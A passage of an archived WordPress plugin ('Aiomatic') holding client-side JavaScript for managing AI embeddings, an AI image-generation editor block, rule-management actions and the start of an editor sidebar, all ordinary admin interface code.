if(jQuery('#year') !== undefined) { var year = jQuery('#year').val(); if(year === undefined || year === null) { year = ''; } } else { var year = ''; } if(jQuery('#month') !== undefined) { var month = jQuery('#month').val(); if(month === undefined || month === null) { month = ''; } } else { var month = ''; } if(jQuery('#day') !== undefined) { var day = jQuery('#day').val(); if(day === undefined || day === null) { day = ''; } } else { var day = ''; } if(jQuery('#page_id') !== undefined) { var page_id = jQuery('#page_id').val(); if(page_id === undefined || page_id === null) { page_id = ''; } } else { var page_id = ''; } if(jQuery('#post_parent') !== undefined) { var post_parent = jQuery('#post_parent').val(); if(post_parent === undefined || post_parent === null) { post_parent = ''; } } else { var post_parent = ''; } if(jQuery('#max_nr') !== undefined) { var max_nr = jQuery('#max_nr').val(); if(max_nr === undefined || max_nr === null) { max_nr = ''; } } else { var max_nr = ''; } if(jQuery('#max_posts') !== undefined) { var max_posts = jQuery('#max_posts').val(); if(max_posts === undefined || max_posts === null) { max_posts = ''; } } else { var max_posts = ''; } if(jQuery('#search_offset') !== undefined) { var search_offset = jQuery('#search_offset').val(); if(search_offset === undefined || search_offset === null) { search_offset = ''; } } else { var search_offset = ''; } if(jQuery('#search_query') !== undefined) { var search_query = jQuery('#search_query').val(); if(search_query === undefined || search_query === null) { search_query = ''; } } else { var search_query = ''; } if(jQuery('#meta_name') !== undefined) { var meta_name = jQuery('#meta_name').val(); if(meta_name === undefined || meta_name === null) { meta_name = ''; } } else { var meta_name = ''; } if(jQuery('#meta_value') !== undefined) { var meta_value = jQuery('#meta_value').val(); if(meta_value === undefined || meta_value === null) { meta_value = ''; } } else { var meta_value = ''; } if(jQuery('#order') !== undefined) { var order = jQuery('#order').val(); if(order === undefined || order === null) { order = ''; } } else { var order = ''; } if(jQuery('#orderby') !== undefined) { var orderby = jQuery('#orderby').val(); if(orderby === undefined || orderby === null) { orderby = ''; } } else { var orderby = ''; } if(jQuery('#featured_image') !== undefined) { var featured_image = jQuery('#featured_image').val(); if(featured_image === undefined || featured_image === null) { featured_image = ''; } } else { var featured_image = ''; } if(jQuery('#post_status') !== undefined) { var post_status = jQuery('#post_status').val(); if(post_status === undefined || post_status === null) { post_status = ''; } } else { var post_status = ''; } if(jQuery('#type_post') !== undefined) { var type_post = jQuery('#type_post').val(); if(type_post === undefined || type_post === null) { type_post = ''; } } else { var type_post = ''; } if(jQuery('#no_twice') !== undefined) { if(jQuery("#no_twice").is(':checked')) { var no_twice = 'on'; } else { var no_twice = 'off'; } } else { var no_twice = 'off'; } var data = { action: 'aiomatic_run_my_bulk_embeddings_action', nonce: aiomatic_emb_object.nonce, author_id: author_id, author_name: author_name, category_name: category_name, tag_name: tag_name, post_id: post_id, post_name: post_name, pagename: pagename, year: year, month: month, day: day, post_parent: post_parent, page_id: page_id, max_nr: max_nr, max_posts: max_posts, search_offset: search_offset, search_query: search_query, meta_name: meta_name, meta_value: meta_value, order: order, orderby: orderby, featured_image: featured_image, no_twice: no_twice, post_status: post_status, type_post: type_post }; jQuery.post(aiomatic_emb_object.ajax_url, data, function(response) { if(response.trim() == 'ok') { document.getElementById("run_img").src = aiomatic_emb_object.plugin_dir_url + "images/ok.gif"; } else { if(response.trim() == 'nochange') { document.getElementById("run_img").src = aiomatic_emb_object.plugin_dir_url + "images/nochange.gif"; } else { document.getElementById("run_img").src = aiomatic_emb_object.plugin_dir_url + "images/failed.gif"; } } }).fail( function(xhr) { console.log('Error occured in processing: ' + xhr.statusText + ' - please check plugin\'s \'Activity and Logging\' menu for details. Ajax URL: ' + aiomatic_emb_object.ajax_url); document.getElementById("run_img").src = aiomatic_emb_object.plugin_dir_url + "images/failed.gif"; alert('Server returned error while processing: "' + xhr.statusText + '", please check plugin\'s \'Activity and Logging\' menu for details.'); }); } else { return; } } jQuery(document).ready(function ($) { $("#checkedAll").on('change', function() { if (this.checked) { $(".aiomatic-select-embedding").each(function() { this.checked=true; }); } else { $(".aiomatic-select-embedding").each(function() { this.checked=false; }); } }); function aiomaticLoading(btn) { btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticDisable(btn) { btn.prop('disabled', true); } function aiomaticEnable(btn) { btn.removeAttr('disabled'); } function aiomaticRmLoading(btn) { btn.removeAttr('disabled'); btn.find('.spinner').remove(); } $('#aiomatic_sync_embeddings').on('click', function (){ var btn = $(this); aiomaticLoading(btn); location.reload(); }); $('#aiomatic_save_embeddings').on('click', function (){ if(confirm('Are you sure you want to download ALL embeddings in a CSV file?')) { var btn = $(this); aiomaticLoading(btn); var data = { action: 'aiomatic_download_embeddings', nonce: aiomatic_emb_object.nonce, }; $.ajax({ url: aiomatic_emb_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ try { let csvContent = "data:text/csv;charset=utf-8," + res.rows.map(e => e.join(",")).join("\n"); var encodedUri = encodeURI(csvContent); var link = document.createElement("a"); link.setAttribute("href", encodedUri); link.setAttribute("download", "embeddings.csv"); document.body.appendChild(link); link.click(); } catch(e) { alert(e); } } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing embedding saving: ' + error); } }); } }); $('#aiomatic_upload_embeddings').on('click', function (){ if(confirm('Are you sure you want to add embeddings from the CSV file?')) { var aiomatic_csv_upload = $('#aiomatic_csv_upload'); var btn = $(this); aiomaticLoading(btn); if(aiomatic_csv_upload[0].files.length === 0){ alert('Please select a file!'); } else{ var aiomatic_max_file_size = aiomatic_emb_object.maxfilesize; var aiomatic_file = aiomatic_csv_upload[0].files[0]; var aiomatic_file_extension = aiomatic_file.name.substr( (aiomatic_file.name.lastIndexOf('.') +1) ); if(aiomatic_file_extension !== 'csv'){ aiomatic_csv_upload.val(''); alert('This feature only accepts csv file type!'); } else if(aiomatic_file.size > aiomatic_max_file_size){ aiomatic_csv_upload.val(''); alert('Dataset allowed maximum size (MB): '+ aiomatic_max_size_in_mb) } else{ var reader = new FileReader(); reader.readAsText(aiomatic_file, "UTF-8"); reader.onload = function (evt) { var formData = new FormData(); formData.append('action', 'aiomatic_embeddings_upload'); formData.append('xfile', evt.target.result); formData.append('nonce', aiomatic_emb_object.nonce); $.ajax({ url: aiomatic_emb_object.ajax_url, type: 'POST', dataType: 'JSON', data: formData, success: function(res) { if(res.status === 'success'){ aiomaticRmLoading(btn); alert('File uploaded successfully!'); } else{ aiomaticRmLoading(btn); alert('An error occured: ' + JSON.stringify(res)); } }, cache: false, contentType: false, processData: false, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Unable to upload file: ' + error); } }); } reader.onerror = function (evt) { alert("Error reading file: " + aiomatic_file.name + ' - ' + reader.error); } } } } }); $('#aiomatic_scrape_url_embeddings').on('click', function (){ if(confirm('Are you sure you want to scrape embeddings from this URL?')) { var aiomatic_url_embedding = $('#aiomatic_url_embedding').val(); var btn = $(this); aiomaticLoading(btn); if(aiomatic_url_embedding == ''){ alert('Please input a website URL!'); } else { var formData = new FormData(); formData.append('action', 'aiomatic_scrape_url_embeddings'); formData.append('xurl', aiomatic_url_embedding); formData.append('nonce', aiomatic_emb_object.nonce); $.ajax({ url: aiomatic_emb_object.ajax_url, type: 'POST', dataType: 'JSON', data: formData, success: function(res) { if(res.status === 'success'){ aiomaticRmLoading(btn); alert('Embeddings created successfully!'); } else{ aiomaticRmLoading(btn); alert('An error occured: ' + JSON.stringify(res)); } }, cache: false, contentType: false, processData: false, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Unable to scrape URL: ' + error); } }); } } }); $('#aiomatic_deleteall_embeddings').on('click', function (){ if(confirm('Are you sure you want to delete ALL embeddings?')) { var btn = $(this); aiomaticLoading(btn); var data = { action: 'aiomatic_deleteall_embedding', nonce: aiomatic_emb_object.nonce, }; $.ajax({ url: aiomatic_emb_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ $('.aiomatic-embeddings-success').show(); $('.aiomatic-embeddings-content').val(''); setTimeout(function (){ $('.aiomatic-embeddings-success').hide(); },2000); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing embedding removal: ' + error); } }); } }); $('#aiomatic_delete_selected_embeddings').on('click', function (){ if(confirm('Are you sure you want to delete selected embeddings?')) { var btn = $(this); aiomaticLoading(btn); var ids = []; $('.aiomatic-select-embedding:checked').each(function (idx, item) { ids.push($(item).val()) }); if (ids.length) { var data = { action: 'aiomatic_delete_selected_embedding', nonce: aiomatic_emb_object.nonce, ids: ids }; $.ajax({ url: aiomatic_emb_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ $('.aiomatic-embeddings-success').show(); $('.aiomatic-embeddings-content').val(''); setTimeout(function (){ $('.aiomatic-embeddings-success').hide(); },2000); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing embedding removal: ' + error); } }); } else { alert('No embeddings selected'); aiomaticRmLoading(btn); } } }); $('#aiomatic_embeddings_form').on('submit', function (e) { var form = $('#aiomatic_embeddings_form'); var btn = form.find('button'); var content = $('.aiomatic-embeddings-content').val(); if(content === ''){ alert('Please insert an embedding value!'); } else{ var data = form.serialize(); $.ajax({ url: aiomatic_emb_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading(btn); }, success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ $('.aiomatic-embeddings-success').show(); $('.aiomatic-embeddings-content').val(''); setTimeout(function (){ $('.aiomatic-embeddings-success').hide(); },2000) } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing embedding form: ' + error); } }); } return false; }); $(".aiomatic_delete_embedding").on('click', function(e) { if(confirm('Are you sure you want to delete this embedding?')) { var embeddingid = $(this).attr("delete-id"); if(embeddingid == '') { alert('Incorrect delete id submitted'); } else { e.preventDefault(); var data = { action: 'aiomatic_delete_embedding', embeddingid: embeddingid, nonce: aiomatic_emb_object.nonce, }; jQuery.ajax({ url: aiomatic_emb_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticDisable($('#aiomatic_delete_embedding_' + embeddingid)); }, success: function (res){ if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); location.reload(); } }, error: function (r, s, error){ alert('Error in processing embedding deletion: ' + error); location.reload(); } }); } } }); });������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/setup.js������������������������������������������������������������������������������������0000644�����������������00000000233�14757771437�0007755 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; jQuery(document).ready(function($) { $(window).off('beforeunload'); window.onbeforeunload = function () {return null;}; });���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/aiomatic-image.js���������������������������������������������������������������������������0000644�����������������00000020560�14757771437�0011470 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; var { registerBlockType } = wp.blocks; var gcel = wp.element.createElement; registerBlockType( 'aiomatic-automatic-ai-content-writer/aiomatic-image', { title: 'AIomatic AI Image', icon: 'text', category: 'embed', attributes: { seed_expre : { default: '', type: 'string', }, image_size : { default: '256x256', type: 'string', }, copy_locally : { default: 'off', type: 'string', }, cache_seconds : { default: '2592000', type: 'string', }, image_model : { default: 'dalle2', type: 'string', } }, keywords: ['list', 'posts', 'aiomatic'], edit: (function( props ) { var seed_expre = props.attributes.seed_expre; var image_size = props.attributes.image_size; var cache_seconds = props.attributes.cache_seconds; var copy_locally = props.attributes.copy_locally; var image_model = props.attributes.image_model; function updateMessage2( event ) { props.setAttributes( { seed_expre: event.target.value} ); } function updateMessage3( event ) { props.setAttributes( { image_size: event.target.value} ); } function updateMessage4( event ) { props.setAttributes( { cache_seconds: event.target.value} ); } function updateMessage5( event ) { props.setAttributes( { copy_locally: event.target.value} ); } function updateMessage6( event ) { props.setAttributes( { image_model: event.target.value} ); } return gcel( 'div', { className: 'coderevolution_gutenberg_div' }, gcel( 'h4', { className: 'coderevolution_gutenberg_title' }, 'AIomatic GPT-3 Image ', gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'This block is used to generate images.' ) ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Seed Expression: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set a seed expression for the image. You can also use the following shortcodes: %%post_title%%, %%post_content%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it\'s assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command. If you leave this blank, the plugin will automatically use the content, excerpt or title of the post where this block is added.' ) ), gcel( 'textarea', { rows:1,placeholder:'Short introduction of the image', value: seed_expre, onChange: updateMessage2, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Image Size: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the generated image size.' ) ), gcel( 'select', { value: image_size, onChange: updateMessage3, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: '256x256'}, '256x256 (only for Dall-E 2)' ), gcel( 'option', { value: '512x512'}, '512x512 (only for Dall-E 2)' ), gcel( 'option', { value: '1024x1024'}, '1024x1024' ), gcel( 'option', { value: '1024x1792'}, '1024x1792 (only for Dall-E 3)' ), gcel( 'option', { value: '1792x1024'}, '1792x1024 (only for Dall-E 3)' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Image Model: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the image model to use. Note that for Dall-E 3 models, only the 1024x1024 or larger image sizes are supported, while for the Dall-E 2 model, 1024x1024 or smaller sizes are supported.' ) ), gcel( 'select', { value: image_model, onChange: updateMessage6, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'dalle2'}, 'Dall-E 2' ), gcel( 'option', { value: 'dalle3'}, 'Dall-E 3' ), gcel( 'option', { value: 'dalle3hd'}, 'Dall-E 3 HD' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Copy Locally: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Do you want to copy the image locally?' ) ), gcel( 'select', { value: copy_locally, onChange: updateMessage5, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'off'}, 'off' ), gcel( 'option', { value: 'on'}, 'on' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Caching Period For AI Generated Content (Seconds): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the caching period for AI generated content in seconds.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Caching period in seconds', value: cache_seconds, onChange: updateMessage4, className: 'coderevolution_gutenberg_input' } ) ); }), save: (function( props ) { return null; }), } );������������������������������������������������������������������������������������������������������������������������������������������������scripts/footer.js�����������������������������������������������������������������������������������0000644�����������������00000043245�14757771437�0010125 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; jQuery(document).ready(function(){ jQuery('span.wpaiomatic-delete').on('click', function(){ var confirm_delete = confirm('Delete This Rule?'); if (confirm_delete) { jQuery(this).parent().parent().remove(); jQuery('#myForm').submit(); } }); }); var unsaved = false; jQuery(document).ready(function () { jQuery(":input").on('change', function(){ if(this !== undefined) { var classes = this.className; var classes = this.className.split(' '); var found = jQuery.inArray('actions', classes) > -1; if(this.id != 'select-shortcode' && this.id != 'PreventChromeAutocomplete' && this.className != 'sc_chat_form_field_prompt_text' && this.id != 'actions' && !found) { unsaved = true; } } }); function unloadPage(){ if(unsaved){ return "You have unsaved changes on this page. Do you want to leave this page and discard your changes or stay on this page?"; } } window.onbeforeunload = unloadPage; }); function deletePostsManual(number, type, typeId, uniquid) { if (confirm("Are you sure you want to delete all posts generated by this rule?") == true) { document.getElementById("run_img" + number).style.visibility = "visible"; document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/running.gif"; var data = { action: 'aiomatic_my_action', id: uniquid, how: type, type: typeId, nonce: mycustomsettings.nonce }; jQuery.post(mycustomsettings.ajaxurl, data, function(response) { if(response.trim() == 'ok') { document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/ok.gif"; } else { if(response.trim() == 'nochange') { document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/nochange.gif"; } else { document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/failed.gif"; } } }).fail( function(xhr) { console.log('Error occured in processing: ' + xhr.statusText + ' - please check plugin\'s \'Activity and Logging\' menu for details.'); document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/failed.gif"; }); } else { return; } } function myAIGetDateTime() { var now = new Date(); var year = now.getFullYear(); var month = now.getMonth()+1; var day = now.getDate(); var hour = now.getHours(); var minute = now.getMinutes(); var second = now.getSeconds(); if(month.toString().length == 1) { month = '0'+month; } if(day.toString().length == 1) { day = '0'+day; } if(hour.toString().length == 1) { hour = '0'+hour; } if(minute.toString().length == 1) { minute = '0'+minute; } if(second.toString().length == 1) { second = '0'+second; } var dateTime = year+'-'+month+'-'+day+' '+hour+':'+minute+':'+second; return dateTime; } function runNowManual(number, typeId) { if (confirm("Are you sure you want to run this rule now?") == true) { document.getElementById("run_img" + number).style.visibility = "visible"; document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/running.gif"; var data = { action: 'aiomatic_run_my_action', id: number, type: typeId, nonce: mycustomsettings.nonce }; var pollingInterval; function startPolling() { pollingInterval = setInterval(function() { jQuery.get(mycustomsettings.ajaxurl, { action: 'aiomatic_check_process_status', nonce: mycustomsettings.bulk_nonce }, function(response) { if (response.status === 'success') { var datetime = myAIGetDateTime(); jQuery('#running_status_ai').html('<hr/><b>Activity Log:</b><br/><br/>' + datetime + ':<br/> ' + response.msg); } else { console.log('Failed to poll results: ' + response); clearInterval(pollingInterval); } }).fail(function(xhr) { clearInterval(pollingInterval); console.log('Exception in results polling: ' + JSON.stringify(xhr)); }); }, 3000); } jQuery.post(mycustomsettings.ajaxurl, data, function(response) { if(response.trim() == 'ok') { document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/ok.gif"; } else { if(response.trim() == 'nochange') { document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/nochange.gif"; } else { document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/failed.gif"; } } if(mycustomsettings.more_logs == '1') { clearInterval(pollingInterval); } }).fail( function(xhr) { console.log('Error occured in processing: ' + xhr.statusText + ' - please check plugin\'s \'Activity and Logging\' menu for details.'); document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/failed.gif"; if(mycustomsettings.more_logs == '1') { clearInterval(pollingInterval); } }); if(mycustomsettings.more_logs == '1') { startPolling(); } } else { return; } } function duplicatePostsManual(number, type, typeId) { if (confirm("Are you sure you want to duplicate this rule?") == true) { document.getElementById("run_img" + number).style.visibility = "visible"; document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/running.gif"; var data = { action: 'aiomatic_my_action', id: number, how: type, type: typeId, nonce: mycustomsettings.nonce }; jQuery.post(mycustomsettings.ajaxurl, data, function(response) { if(response.trim() == 'ok') { document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/ok.gif"; location.reload(); } else { if(response.trim() == 'nochange') { document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/nochange.gif"; } else { document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/failed.gif"; } } }).fail( function(xhr) { console.log('Error occured in processing: ' + xhr.statusText + ' - please check plugin\'s \'Activity and Logging\' menu for details.'); document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/failed.gif"; }); } else { return; } } function movePostOrder(number, selectedValue, type, typeId) { document.getElementById("run_img" + number).style.visibility = "visible"; document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/running.gif"; var data = { action: 'aiomatic_my_action_move', id: number, how: selectedValue, type: type, nonce: mycustomsettings.nonce }; jQuery.post(mycustomsettings.ajaxurl, data, function(response) { if(response.trim() == 'ok') { document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/ok.gif"; location.reload(); } else { if(response.trim() == 'nochange') { document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/nochange.gif"; } else { document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/failed.gif"; } } }).fail( function(xhr) { console.log('Error occured in processing: ' + xhr.statusText + ' - please check plugin\'s \'Activity and Logging\' menu for details.'); document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/failed.gif"; }); } function eraseManual(number) { if (confirm("Are you sure you want to erase processed keywords by this rule?") == true) { document.getElementById("run_img" + number).style.visibility = "visible"; document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/running.gif"; var data = { action: 'aiomatic_erase_action', id: number, nonce: mycustomsettings.nonce }; jQuery.post(mycustomsettings.ajaxurl, data, function(response) { if(response.trim() == 'ok') { document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/ok.gif"; location.reload(); } else { if(response.trim() == 'nochange') { document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/nochange.gif"; } else { document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/failed.gif"; } } }).fail( function(xhr) { console.log('Error occured in processing: ' + xhr.statusText + ' - please check plugin\'s \'Activity and Logging\' menu for details.'); document.getElementById("run_img" + number).src= mycustomsettings.plugin_dir_url + "images/failed.gif"; }); } else { return; } } function actionsChangedManual(ruleId, selectedValue, typeId, uniquid) { if (selectedValue==='run') { if(unsaved){ alert("You have unsaved changes on this page. Please save your changes before manually running rules!"); return; } runNowManual(ruleId, typeId); } else { if (selectedValue==='erase') { if(unsaved){ alert("You have unsaved changes on this page. Please save your changes before manually erasing the rule keywords list!"); return; } eraseManual(ruleId); } else { if (selectedValue==='duplicate') { if(unsaved){ alert("You have unsaved changes on this page. Please save your changes before manually erasing the rule keywords list!"); return; } duplicatePostsManual(ruleId, 'duplicate', typeId); } else { if (selectedValue==='up' || selectedValue==='down') { if(unsaved){ alert("You have unsaved changes on this page. Please save your changes before manually erasing the rule keywords list!"); return; } movePostOrder(ruleId, selectedValue, typeId, uniquid); } else { if (selectedValue==='trash') { deletePostsManual(ruleId, 'trash', typeId, uniquid); } else { deletePostsManual(ruleId, 'delete', typeId, uniquid); } } } } } } function assistantSelected(ruleid) { var selected = jQuery('#assistant_id' + ruleid).val(); if(selected == '' || selected == null) { jQuery('.hideAssistant' + ruleid).find('option').removeAttr('disabled'); } else { var selectElement = jQuery('.hideAssistant' + ruleid); var selectedValue = selectElement.val(); jQuery('.hideAssistant' + ruleid).find('option').attr('disabled', 'disabled'); selectElement.find('option[value="' + selectedValue + '"]').removeAttr('disabled'); } } jQuery(document).ready(function() { jQuery('.aiomatic_image_button').on('click', function(){ tb_show('',"media-upload.php?type=image&TB_iframe=true"); window.send_to_editor = function(html) { var url = jQuery(html).attr('src'); jQuery('#cr_input_box').val(url); tb_remove(); }; }); }); function thisonChangeHandler(cb) { if(cb.checked == true) { jQuery("input.activateDeactivateClass:checkbox").each( function () { jQuery(this).prop('checked', true); }); } else { jQuery("input.activateDeactivateClass:checkbox").each( function () { jQuery(this).prop('checked', false); }); } } var codemodalfzr = document.getElementById('mymodalfzr'); var btn = document.getElementById("mybtnfzr"); var span = document.getElementById("aiomatic_close"); var ok = document.getElementById("aiomatic_ok"); if(btn != null) { btn.onclick = function() { codemodalfzr.style.display = "block"; } } if(span != null) { span.onclick = function() { codemodalfzr.style.display = "none"; } } if(ok != null) { ok.onclick = function() { codemodalfzr.style.display = "none"; } } var codemodalauto = document.getElementById('mymodalauto'); var btn = document.getElementById("mybtnauto"); var span = document.getElementById("aiomatic_auto_close"); var ok = document.getElementById("aiomatic_auto_ok"); if(btn != null) { btn.onclick = function() { codemodalauto.style.display = "block"; } } if(span != null) { span.onclick = function() { codemodalauto.style.display = "none"; } } if(ok != null) { ok.onclick = function() { codemodalauto.style.display = "none"; } } window.onclick = function(event) { if (codemodalauto != null && event.target == codemodalauto) { codemodalauto.style.display = "none"; } else if (event.target == codemodalfzr) { codemodalfzr.style.display = "none"; } } jQuery("#myForm").on('submit', function (e) { jQuery(this).on('submit', function() { return false; }); e.preventDefault(); var changedCheckboxes = []; var this_master = jQuery(this); jQuery('button[type=submit], input[type=submit]').prop('disabled',true); this_master.find('input[type="checkbox"]').each( function () { var checkbox_this = jQuery(this); if (checkbox_this.attr("id") !== "exclusion") { if( checkbox_this.is(":checked") == true ) { checkbox_this.attr('value','1'); } else { checkbox_this.prop('checked',true); checkbox_this.attr('value','0'); changedCheckboxes.push(checkbox_this); } } }); if (typeof mycustomsettings.max_input_vars !== 'undefined' && jQuery('input, textarea, select, button').length >= mycustomsettings.max_input_vars) { this_master.append("<span style='color:red;'>Saving settings, please wait...</span>"); var coderevolution_max_input_var_data = this_master.serialize(); this_master.find("table").remove(); this_master.append("<input type='hidden' class='coderevolution_max_input_var_data' name='coderevolution_max_input_var_data'/>"); this_master.find("input.coderevolution_max_input_var_data").val(coderevolution_max_input_var_data); } setTimeout(() => { this.submit(); changedCheckboxes.forEach(function(item) { item.prop('checked', false); }); }, 10); }); function createAdmin(i) { var modals = []; var btns = []; var spans = []; var oks = []; var btns = []; modals = document.getElementById("mymodalfzr" + i); btns = document.getElementById("mybtnfzr" + i); spans = document.getElementById("aiomatic_close" + i); oks = document.getElementById("aiomatic_ok" + i); btns.onclick = function(e) { modals.style.display = "block"; } spans.onclick = function(e) { modals.style.display = "none"; } oks.onclick = function(e) { modals.style.display = "none"; } modals.addEventListener("click", function(e) { if (e.target !== this) return; modals.style.display = "none"; }, false); }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/sidebar.js����������������������������������������������������������������������������������0000644�����������������00000014224�14757771437�0010233 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; ( function( wp ) { var registerPlugin = wp.plugins.registerPlugin; var PluginSidebar = wp.editPost.PluginSidebar; var el = wp.element.createElement; registerPlugin( 'aiomatic-sidebar', { render: function() { function updateMessage( ) { var postId = wp.data.select("core/editor").getCurrentPostId(); if (confirm("Are you sure you want to submit this post now?") == true) { document.getElementById('aiomatic_submit_post').setAttribute('disabled','disabled'); document.getElementById('aiomatic_toggle_post').setAttribute('disabled','disabled'); document.getElementById("aiomatic_span").innerHTML = 'Processing status: Working... (please do not close or refresh this page) '; var data = { action: 'aiomatic_post_now', nonce: aiomatic_gut.nonce, id: postId }; jQuery.post(aiomatic_gut.ajaxurl, data, function(response) { document.getElementById('aiomatic_submit_post').removeAttribute('disabled'); document.getElementById('aiomatic_toggle_post').removeAttribute('disabled'); document.getElementById("aiomatic_span").innerHTML = 'Processing status: Done! '; location.reload(); }).fail( function(xhr) { document.getElementById("aiomatic_span").innerHTML = 'Error, please check the plugin\'s \'Activity and Logging\' menu for details!'; console.log('Error occured in processing: ' + xhr.statusText + ' - please check plugin\'s \'Activity and Logging\' menu for details.'); }); } else { return; } } function toggleStatus( ) { var postId = wp.data.select("core/editor").getCurrentPostId(); if (confirm("Are you sure you want to toggle the processing status of this post?") == true) { document.getElementById('aiomatic_submit_post').setAttribute('disabled','disabled'); document.getElementById('aiomatic_toggle_post').setAttribute('disabled','disabled'); document.getElementById("aiomatic_span").innerHTML = 'Processing status: Working... (please do not close or refresh this page) '; var data = { action: 'aiomatic_toggle_status', nonce: aiomatic_gut.nonce, id: postId }; jQuery.post(aiomatic_gut.ajaxurl, data, function(response) { document.getElementById('aiomatic_submit_post').removeAttribute('disabled'); document.getElementById('aiomatic_toggle_post').removeAttribute('disabled'); document.getElementById("aiomatic_span").innerHTML = 'Processing status: Done! '; location.reload(); }).fail( function(xhr) { document.getElementById('aiomatic_submit_post').removeAttribute('disabled'); document.getElementById('aiomatic_toggle_post').removeAttribute('disabled'); document.getElementById("aiomatic_span").innerHTML = 'Error, please check the plugin\'s \'Activity and Logging\' menu for details!'; console.log('Error occured in processing: ' + xhr.statusText + ' - please check plugin\'s \'Activity and Logging\' menu for details.'); }); } else { return; } } var poststat = 'Post is not yet edited with Aiomatic.'; if(aiomatic_gut.metavalue == 'pub') { poststat = 